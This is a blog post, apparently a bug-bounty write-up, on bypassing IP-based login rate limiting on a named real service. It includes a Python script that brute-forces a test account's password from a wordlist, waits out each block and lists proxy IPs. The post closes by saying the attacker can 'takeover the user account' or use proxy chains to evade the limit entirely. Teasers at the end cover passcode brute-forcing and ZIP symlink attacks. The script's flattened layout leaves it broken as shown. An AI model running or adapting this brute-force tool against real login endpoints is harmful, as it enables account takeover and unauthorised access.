Skip to main content

How I bypassed the api rate limiting protection

A brute force attack is a popular cracking method: by some accounts, brute force attacks accounted for five percent of confirmed security breaches. A brute force attack involves ‘guessing’ username and passwords to gain unauthorized access to a system. Brute force is a simple attack method and has a high success rate  .



Hey guyes today I will tell you how I bypass misconfigured rate limiting protection and from this   victim account can be hijacked by bruteforcing the password .

LETS DESCRIBE :
  •     An application like  xyz.com implemented rate limiting protection on login page  on basis  of ip.
  •       If any user hit login request 25 times repeatedly then their ip will be blocked for next 10 or 12 seconds.
  •      So I created a  python  script to handle this automatically:
import requests
import os
import time
global pastebin_url
import sys
if len(sys.argv) == 2: filename = sys.argv[1] if not os.path.isfile(filename): print '[-] ' + filename + ' does not exist.' exit(0) if not os.access(filename, os.R_OK): print '[-] ' + filename + ' access denied.' exit(0) print '[+] Reading Vulnerabilities From: ' + filename proxy=['217.23.69.146:8080','79.133.102.251:8080']
API_ENDPOINT = "https://app-h1.sea.ekoapp.com/api/v1/auth/login" dictFile = open(filename,'r') for word in dictFile.readlines(): word = word.strip('\n') i=0; data = {'username':"testinga081146","password":word,"domain":"","deviceId":"webapp2x0c5190bbc-d6e0-46e5-b80e-252bd3e2a9a01580752970136","deviceVersion":"11.8.8","deviceType":"web","deviceModel":"browser","appId":"com.ekoapp.eko","apiVersion":0} r = requests.post(url = API_ENDPOINT, data = data) pastebin_url = r.text print(pastebin_url) if(pastebin_url=='Rate limit exceeded'): b =r.headers['Retry-After']; print(b+"seconds waiting") time.sleep(float(b)) else: print(pastebin_url)





  •  I used simple  logic in above script:
  • This script continuously brute force the  user login by different password.
  • When the user ip is blocked  script is sleep for that time . and after this continue.
  •  Now you can takeover the user account.
  •  Or you can use proxy chain or proxies in your programme to  completely bypass  this. 

Comments

Popular posts from this blog

Passcode Protection Bypass By Brute Forcing On zoho (Cliq Application)

First We discuss about what is passcode and Why it is Implemented in  Mobile Applications. PASSCODE Implemented in Mobile Application to protect Applications from an Unauthorized Access.like for example your cliq or any application account is logged in mobile phone .any your friend ask you to give phone , your friend try to open cliq application to see your message, but your friend cant open the application without entering passcode . he have to enter passcode for open, so it is an extra layer security in  applications. Passcode protection implemented in Android Application is an extra layer security to protect an unauthorized access. How Passcode Protection is bypassed by Bruteforcing? You know that passcode protection or pin protection in mobile applications have some attempt to enter passcode , if you enter  wrong passcode more than 5 times or 10 times based on application security , User logged out automatically and redirected to login page.but due to some ...

A New Way Of Brute force Passcode/Pin Protection By deep link

DESCRIPTION : AS you know already that what is passcode protection and why it is applied ? And how it is bypassed normally ? If you don’t know please read my previous blog:   https://negativewives.blogspot.com/2020/04/passcode-protection-bypass-by-brute.html                                                                                When any passcode protection is implemented first check any activity is exported or not ? Here we  only talking the scenario where no activity is exported in application   PROCEDURE : Open Application after implementing passcode protection. You see that passcode activity is launched first Go to AndroidMainfest.xml file and check launch mode of passcode activity . Question Arises in your mind   - ...

ZIP Symlink Vulnerability

What is Symlink? A symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your computer. Symlinks are similar to shortcuts in Windows There are two types of symlinks Soft and Hard Link A symbolic or soft link is an actual link to the original file, whereas a hard link is a mirror copy of the original file. If you delete the original file, the soft link has no value, because it points to a non-existent file. But in the case of hard links, it is entirely the opposite. Even if you delete the original file, the hard link will still have the data of the original file. Because hard link acts as a mirror copy of the original file For know more about the symlink please visit: https://ostechnix.com/explaining-soft-link-and-hard-link-in-linux-with-examples/ What is ZIP SYMLINK  Vulnerability? An  archive can contain a symbolic link. A symbolic link is a special file that links to another file. By uploading a zip containing a symbo...